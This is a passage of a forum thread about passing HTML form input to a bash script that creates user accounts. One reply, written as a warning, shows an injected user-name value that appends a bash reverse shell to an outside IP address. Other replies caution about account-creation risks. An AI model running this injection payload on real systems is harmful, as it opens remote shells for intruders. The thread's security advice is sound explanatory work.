LinuxQuestions.org
Help answer threads with 0 replies.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Distributions > CentOS
User Name
Password
CentOS This forum is for the discussion of CentOS Linux. Note: This forum does not have any official participation.

Notices


Reply
  Search this Thread
Old 07-18-2017, 09:37 AM   #16
robertkwild
Member
 
Registered: Feb 2015
Posts: 382

Original Poster
Rep: Reputation: Disabled

so thats a no then on doing it via html form
 
Old 07-18-2017, 11:31 AM   #17
BW-userx
LQ Guru
 
Registered: Sep 2013
Location: Somewhere in my head.
Distribution: Slackware (15 current), Slack15, Ubuntu studio, MX Linux, FreeBSD 13.1, WIn10
Posts: 10,342

Rep: Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242Reputation: 2242
Quote:
Originally Posted by robertkwild View Post
can i do this via an html form and make a submit button which passes on the users input to the bash script?
look into Java script that might help you accomplish this from HTML.

I have not played with javascript in a long long time but you can create buttons and text box for submitting information and etc... as far as it taking to your linux box you might need some mediator between your html and system. but I know they got that too, whatever it is.

you're not the first person that tried this.
 
Old 07-18-2017, 12:08 PM   #18
Turbocapitalist
LQ Guru
 
Registered: Apr 2005
Distribution: Linux Mint, Devuan, OpenBSD
Posts: 7,333
Blog Entries: 3

Rep: Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730Reputation: 3730
Quote:
Originally Posted by robertkwild View Post
so thats a no then on doing it via html form
I'm rather sure you can do process form data via a shell script. I've done CGI scripts in shell before but they were much simpler and it was a long, long time ago. However, that's the kind of thing you really ought to turn to perl for.

The point that I see several trying to make, and I hope it drives home, is that you cannot and must not in any way trust the data that arrives in your script from the web server. You have to severely process it so that only ASCII is left, if anything. And even then, only a subset. can be allowed.

For example you don't want the following line

Code:
useradd -g $group -d $dir/$user -s /sbin/nologin $user
to ever be in a situation where someone can set $user equal to "budroe; bash -i >& /dev/tcp/192.0.2.233/8282 0>&1;" or anything else malicious.
 
Old 07-18-2017, 12:36 PM   #19
Laserbeak
Member
 
Registered: Jan 2017
Location: Manhattan, NYC NY
Distribution: Mac OS X, iOS, Solaris
Posts: 508

Rep: Reputation: 143Reputation: 143
By allowing someone to create their own system account on your computer (even if you just mean it to be for FTP), you're basically taking them 3/4 of the way or more towards getting root shell access to your system. If this is something for a corporation and it's behind a well-maintained firewall, then it's probably not so bad, but if it's open to the Internet you're just inviting trouble.

There are FTP systems out there that have their own authentication system, so you don't have to create an actual user for these accounts, plus they chroot() into a special area, etc.

Last edited by Laserbeak; 07-18-2017 at 12:39 PM.
 
1 members found this post helpful.
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] html form - Unable to have 2 form 'submit' on same line. rblampain Programming 3 11-26-2015 09:57 PM
[SOLVED] Click 'submit' in a remote web form from Bash, really geokker Programming 14 06-21-2011 04:27 AM
[SOLVED] HTML Form that sends data entered to a bash script as variables simplified Programming 2 12-01-2009 03:35 PM
html form with multiple submit button schlabs General 2 11-10-2007 11:56 AM
Script to get form data..in bash? jrfly Linux - General 1 06-29-2005 10:04 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Distributions > CentOS

All times are GMT -5. The time now is 05:54 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration